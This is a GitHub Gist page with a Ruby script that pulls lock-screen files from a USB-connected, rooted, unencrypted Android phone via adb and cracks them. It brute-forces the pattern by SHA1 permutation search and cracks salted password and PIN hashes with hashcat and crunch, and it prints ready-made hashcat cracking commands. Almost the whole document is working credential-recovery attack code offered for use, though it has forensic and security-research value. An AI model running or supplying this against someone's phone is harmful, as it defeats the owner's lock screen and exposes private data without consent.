Created
January 9, 2021 20:41
-
-
Save red0xff/1ca994e7bf98aa2050658b8bcc4b8aba to your computer and use it in GitHub Desktop.
a simple script that retrieves and cracks the Android Lock pattern from a device connected through USB, only works with unencrypted phones
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require'digest/sha1'; | |
require'colorize'; | |
require'sqlite3'; | |
require'io/console'; | |
# Affichage d'une patterne comme image | |
class Array | |
def to_pattern | |
svg = <<SVG | |
<svg xmlns="http://www.w3.org/2000/svg" height="400" width="400"> | |
<rect x="0" y="0" width="400" height="400" fill="white"></rect> | |
<circle cx="80" cy="80" r="8"/> | |
<circle cx="200" cy="80" r="8"/> | |
<circle cx="320" cy="80" r="8"/> | |
<circle cx="80" cy="200" r="8"/> | |
<circle cx="200" cy="200" r="8"/> | |
<circle cx="320" cy="200" r="8"/> | |
<circle cx="80" cy="320" r="8"/> | |
<circle cx="200" cy="320" r="8"/> | |
<circle cx="320" cy="320" r="8"/> | |
SVG | |
count_points = self.count; | |
init_r, init_g, init_b = 0xff, 0x75, 0x8c; | |
final_r, final_g, final_b = 0, 0, 0; | |
step_r, step_g, step_b = [final_r - init_r, final_g - init_g, final_b - init_b].map{|e| e.fdiv(count_points) }; | |
self.each_cons(2).with_index do|(x,y),k| | |
x1, y1, x2, y2 = 80 + (x % 3) * 120, 80 + (x / 3) * 120, 80 + (y % 3) * 120, 80 + (y / 3) * 120; | |
color_r, color_g, color_b = init_r + step_r*k, init_g + step_g*k, init_b + step_b*k; | |
svg << "<line x1=\"#{x1}\" y1=\"#{y1}\" x2=\"#{x2}\" y2=\"#{y2}\" style=\"stroke:rgb(#{color_r},#{color_g},#{color_b});stroke-width:4\"></line>" << ?\n; | |
svg << "<text x=\"#{x1}\" y=\"#{y1-20}\" style=\"font-size:24;\">#{k+1}</text>"; | |
end | |
svg << "<text x=\"#{80 + (self.last % 3) * 120}\" y=\"#{80 + (self.last / 3) * 120 - 20}\" style=\"font-size:24;\">#{self.count}</text>"; | |
svg << '</svg>'; | |
File.open('out.svg',?w){|f| f.write(svg);}; | |
%x(gio open out.svg) | |
end | |
end | |
# DEBUT DU CODE | |
# retrouver les devices connectes avec adb | |
devices = `adb devices`.lines.map(&:chomp); | |
devices.shift; | |
devices.pop; | |
if devices.count > 1 | |
devices = devices.detect{|d| !d.include?('unauthorized')}; | |
if devices.nil? | |
puts "[#{?-.light_red.bold}] multiple devices detected, but all unauthorized, please authorize one and retry"; | |
else | |
puts "[#{?*.light_blue.bold}] multiple devices detected, selecting\n#{devices}"; | |
end | |
elsif devices.empty? || devices[0] =~ /^\s*$/ | |
puts "[#{?-.light_red.bold}] No device detected, exiting ..."; | |
exit 1; | |
elsif devices[0] =~ /unauthorized/ | |
puts "[#{?-.light_red.bold}] The device is unauthorized, please authorize it and retry"; | |
exit 1; | |
else | |
devices = devices[0]; | |
end | |
serial = devices[/^\S+/]; | |
puts "[#{?*.light_blue}] Recuperation de données"; | |
# creation du repertoire /tmp/android_stuff | |
Dir.mkdir '/tmp/android_stuff' unless Dir.exist? '/tmp/android_stuff'; | |
# recuperation des donnees de verouillage dans /tmp/android_stuff/ | |
%w(gesture.key locksettings.db locksettings.db-shm locksettings.db-wal password.key).each do|file| | |
output = `adb -s #{serial} pull /data/system/#{file} /tmp/android_stuff/`; | |
if output =~ /permission denied/i | |
puts "[#{?-.light_red.bold}] Permission denied when pulling #{file.light_blue.bold}, ensure adb runs as root on your device"; | |
exit 1; | |
elsif output =~ /does not exist/i | |
puts "[#{?-.light_red.bold}] #{file.light_blue.bold} does not exist on the device"; | |
else | |
puts "[#{?+.light_green.bold}] Successfully pulled #{file.light_blue.bold} from the device"; | |
end | |
end | |
# verification du type de verrouillage | |
db = SQLite3::Database.new "/tmp/android_stuff/locksettings.db"; | |
pattern_type = db.execute('select value from locksettings where name=\'lockscreen.password_type\';').flatten[0].to_i; | |
if pattern_type == 262144 || pattern_type == 131072 | |
puts "[#{?+.light_green}] Detected #{pattern_type == 262144 ? 'password' : 'PIN'} authentication"; | |
# recuperation du salt (nombre aleatoire) | |
db = SQLite3::Database.new "/tmp/android_stuff/locksettings.db"; | |
print "\n"; | |
salt = db.execute('select value from locksettings where name=\'lockscreen.password_salt\';').flatten[0].to_i; | |
salt = (salt & 0xffffffffffffffff).to_s(16) | |
File.open('/tmp/android_stuff/password.key') do|f| | |
data = f.read.chomp; | |
sha1 = data[0, 20*2].downcase; | |
md5 = data[20*2,16*2].downcase; | |
puts "[#{?*.light_blue}] sha1(password + #{salt}) = #{sha1}"; | |
puts "[#{?*.light_blue}] md5(password + #{salt}) = #{md5}"; | |
if pattern_type == 262144 | |
puts "It's recommended to use #{'hashcat'.light_green.bold} or #{'John the ripper'.light_green.bold} for bruteforcing, using a good #{'wordlist'.light_green.bold}"; | |
puts "#{'hashcat'.light_green.bold} -m10 <HASH_FILE> <WORDLIST_FILE>"; | |
puts "[#{??.light_blue.bold}] Attempt a dictionnary attack? (Y/N)"; | |
c = nil; | |
loop{ | |
c = IO.console.getch.downcase; | |
break if c == ?y || c == ?n; | |
} | |
if c == ?y | |
print "[#{??.light_blue}] Path to wordlist > "; | |
wordlist_path = gets.chomp; | |
File.open('/tmp/hash_file.txt',?w) do|f| | |
f.puts("#{md5}:#{salt}"); | |
end | |
`hashcat -m10 /tmp/hash_file.txt '#{wordlist_path}'`; | |
output = `hashcat --show -m10 /tmp/hash_file.txt "#{wordlist_path}"`; | |
if !output.empty? | |
password = output[/(?<=:)[^:]+$/] | |
puts "[#{?+.light_green.bold}] password = #{password.to_s.light_green}"; | |
else | |
puts "[#{?-.light_red.bold}] password not found in the wordlist"; | |
end | |
end | |
else | |
puts "It's recommended to use #{'hashcat'.light_green.bold} or #{'John the ripper'.light_green.bold} for bruteforcing, using the Mask mode (using digits only)"; | |
puts "#{'hashcat'.light_green.bold} -a3 -m10 --increment --increment-min=4 <HASH_FILE> '?d?d?d?d?d?d?d?d?d?d?d?d'" | |
puts "[#{??.light_blue}] Try cracking up to 9 digits? (Y/N)"; | |
c = nil; | |
loop{ | |
c = IO.console.getch.downcase; | |
break if c == ?y || c == ?n; | |
} | |
if c == ?y | |
found = false; | |
File.open('/tmp/hash_file.txt', ?w) do|f| | |
f.puts("#{md5}:#{salt}"); | |
end | |
4.upto(9) do|num| | |
# generation du wordlist avec tous les pins de taille num | |
`crunch #{num} #{num} 0123456789 -o /tmp/dict.txt` | |
# bruteforce avec hashcat | |
`qterminal -e "hashcat -m10 /tmp/hash_file.txt /tmp/dict.txt"`; | |
output = `hashcat --show -m10 /tmp/hash_file.txt /tmp/dict.txt`; | |
if !output.empty? | |
pin = output[/(?<=:)\d+$/] | |
puts "[#{?+.light_green.bold}] Pin code = #{pin.light_green}"; | |
found = true; | |
break; | |
end | |
end | |
if !found | |
puts "[#{?-.light_red.bold}] Pin code >= 1000000000"; | |
end | |
end | |
end | |
end | |
elsif pattern_type == 65536 | |
puts "[#{?+.light_green}] Detected Android pattern"; | |
print "\n" | |
File.open('/tmp/android_stuff/gesture.key', 'rb') do|f| | |
data = f.read; | |
puts "[#{?*.light_blue}] solving sha1(pattern) = #{data.each_codepoint.map{|e|e.to_s(16).rjust(2,?0)}.join}"; | |
puts "[#{?*.light_blue}] Note: you can also crack it with the following command:\n#{'hashcat'.light_green.bold} -a3 -m100 --hex-charset --increment --increment-min=4 --increment-max=9 -1 00010203040506070809 <HASH_FILE> '?1?1?1?1?1?1?1?1?1'"; | |
matrix = 9.times.to_a; | |
4.upto(9) do|n| | |
if pat = matrix.permutation(n).detect{|pattern| | |
Digest::SHA1.digest(pattern.map(&:chr).join) == data; | |
} | |
puts "[#{?+.light_green}] Pattern found : #{pat}"; | |
puts pat.to_pattern; | |
end | |
end | |
end | |
else | |
puts "[#{?-.light_red.bold}] Unknown scheme with code #{pattern_type.to_s.light_blue.bold}"; | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment